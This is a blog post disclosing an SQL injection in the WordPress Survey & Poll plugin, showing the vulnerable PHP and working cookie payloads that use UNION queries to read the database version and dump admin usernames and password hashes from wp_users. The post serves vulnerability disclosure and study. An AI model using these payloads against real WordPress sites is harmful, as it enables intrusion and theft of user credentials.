WordPress Plugin Survey & Poll SQL Injection

4 dakikalık okuma

I decided to write some posts in English. This post is one of them. In this post, I am going to explain a vulnerability that I discovered in WordPress Survey & Poll plugin.

I’ve always done black box testing, till today! A few days ago, I decided to spend my time reading code for finding a vulnerability until my conscription date came up. At the end of this quest, i found a treasure: an SQL injection vulnerability.

I submitted this vulnerability to Exploit-DB and they published it today. Its link is referenced below.

Methodology

I was downloading WordPress plugins randomly. After reading 10-15 plugins, I came across with WordPress Survey & Poll plugin. In wordpress-survey-and-poll.php, there were remarkable lines in enqueue_custom_scripts_and_styles function to see:

1if ( isset( $_COOKIE[ 'wp_sap' ] ) ) {
2    $survey_viewed = json_decode( stripslashes( $_COOKIE[ 'wp_sap' ] ) );
3}
4if ( ! empty( $survey_viewed ) ) {
5    $sv = implode( $survey_viewed );
6    $sv_condition = "AND (mss.id NOT IN ('" . $sv . "'))";
7}
8$sql = "SELECT *,msq.id as question_id FROM " . $wpdb->prefix . "wp_sap_surveys mss LEFT JOIN " . $wpdb->prefix . "wp_sap_questions msq on mss.id = msq.survey_id WHERE global = 1 AND (`expiry_time`>'" . current_time( 'mysql' ) . "' OR `expiry_time`='0000-00-00 00:00:00') AND (`start_time`<'" . current_time( 'mysql' ) . "' OR `start_time`='0000-00-00 00:00:00') " . $sv_condition . " ORDER BY msq.id ASC";
9$questions_sql = $wpdb->get_results( $sql );

According to the snippet above, value of the cookie parameter named wp_sap was being inserted to an SQL query. This was a really good entry point for the exploitation. I assigned a value to wp_sap parameter and I checked it if it was injected to query, and yes it was injected.

1-- Injected value: ["1650149780')) OR 1=1#"]
2-- Query: 
3SELECT *,msq.id as question_id FROM wp_wp_sap_surveys mss LEFT JOIN wp_wp_sap_questions msq on mss.id = msq.survey_id WHERE global = 1 AND (`expiry_time`>'2018-09-14 12:57:45' OR `expiry_time`='0000-00-00 00:00:00') AND (`start_time`<'2018-09-14 12:57:45' OR `start_time`='0000-00-00 00:00:00') AND (mss.id NOT IN ('1650149780')) OR 1=1#')) ORDER BY msq.id ASC

The query was returning an array consisting of surveys. In continuation of the previous snippet, a new array was being created and populated with values of the first survey of the array. Afterwards, the new array was reflected to value of “sss_params” in front page i.e. when you see a question in front page, it means there is “sss_params” with crafted array in HTML source code.

 1foreach( $questions_sql as $key=>$qs ) {
 2    if ( $key == 0 ) {
 3        $survey[ 'options' ] = stripslashes( str_replace( '\\\'', '|', $qs->options ) );
 4        $survey[ 'plugin_url' ] = plugins_url( '', __FILE__ );
 5        $survey[ 'admin_url' ] = admin_url( 'admin-ajax.php' );
 6        $survey[ 'survey_id' ] = $qs->survey_id;
 7        $survey[ 'style' ] = 'modal';
 8        $survey[ 'expired' ] = 'false';
 9        $survey[ 'debug' ] = 'true';
10    }
11    $survey[ 'questions' ][ $key ][] = $qs->question;
12    $sql = "SELECT * FROM " . $wpdb->prefix . "wp_sap_answers WHERE survey_id = '" . $qs->survey_id . "' AND question_id = '" . $qs->question_id . "' ORDER BY autoid ASC";
13    $answers_sql = $wpdb->get_results($sql);
14    foreach( $answers_sql as $key2=>$as ) {
15        $survey[ 'questions' ][ $key ][] = $as->answer;
16    }
17}
18wp_localize_script( 'wp_sap_script', 'sss_params', array( 'survey_options' => json_encode( $survey ) ) );
19wp_enqueue_script( 'wp_sap_script' );

Developing Payload

In the light of all the information mentioned above, I was able to manipulate the array using wp_sap cookie parameter to complete exploitation. To do this, I began to develop a payload for retrieving DB version.

I wanted to use UNION [2] operator. Therefore, I needed to know the number of columns in query. For this, I executed the query to see the columns. The number of columns was 11.

sqli

Results

After learning the number of columns, I changed the payload to:

1["1650149780')) OR 1=1 UNION ALL SELECT 1111,2222,3333,4444,5555,6666,7777,8888,9999,10101010,11111111#"];

The result was:

1<script type='text/javascript'>
2/*
3<![CDATA[ */
4var sss_params = {"survey_options":"{\"options\":\"[\\\"bottom\\\",\\\"easeInOutBack\\\",\\\"\\\",\\\"linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -o-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -ms-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -moz-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -webkit-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%);\\\",\\\"rgb(0, 0, 0)\\\",\\\"rgb(93, 93, 93)\\\",\\\"1\\\",\\\"5\\\",\\\"12\\\",\\\"10\\\",\\\"12\\\",500,\\\"Thank you for your feedback!\\\",\\\"0\\\",\\\"0\\\",\\\"0\\\"]\",\"plugin_url\":\"http:\\\/\\\/localhost\\\/wordpress\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\",\"admin_url\":\"http:\\\/\\\/localhost\\\/wordpress\\\/wp-admin\\\/admin-ajax.php\",\"survey_id\":\"1650149780\",\"style\":\"modal\",\"expired\":\"false\",\"debug\":\"true\",\"questions\":[[\"testsurvey\",\"Yes\",\"No\"],[\"Test Survey\",\"Yes\",\"No\"],[\"10101010\"]]}"};
5/* ]]> */
6</script>

There was “101010” at the end of sss_params. So, the reflected column was 10th column. I changed it to @@version and the result was:

1var sss_params = {"survey_options":"{\"options\":\"[\\\"bottom\\\",\\\"easeInOutBack\\\",\\\"\\\",\\\"linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -o-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -ms-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -moz-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%); -webkit-linear-gradient(top , rgb(255, 255, 255) 35% , rgb(204, 204, 204) 70%);\\\",\\\"rgb(0, 0, 0)\\\",\\\"rgb(93, 93, 93)\\\",\\\"1\\\",\\\"5\\\",\\\"12\\\",\\\"10\\\",\\\"12\\\",500,\\\"Thank you for your feedback!\\\",\\\"0\\\",\\\"0\\\",\\\"0\\\"]\",\"plugin_url\":\"http:\\\/\\\/localhost\\\/wordpress\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\",\"admin_url\":\"http:\\\/\\\/localhost\\\/wordpress\\\/wp-admin\\\/admin-ajax.php\",\"survey_id\":\"1650149780\",\"style\":\"modal\",\"expired\":\"false\",\"debug\":\"true\",\"questions\":[[\"testsurvey\",\"Yes\",\"No\"],[\"Test Survey\",\"Yes\",\"No\"],[\"10.1.35-MariaDB\"]]}"};
2/* ]]> */

DB version: 10.1.35-MariaDB

With this payload I was able to retrieve everything in database of the app. For example, for retrieving user names and passwords;

1["1650149780')) OR 1=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,concat(user_login,0x3a,user_pass),11 from wp_users#"]

Result:

[\"admin:$P$Bubj7gAfgsIFukTTAHoMPpB4U7hVbu\\\/\"]

References

  1. https://www.exploit-db.com/exploits/45411/

  2. https://www.w3schools.com/sql/sql_union.asp

comments powered by Disqus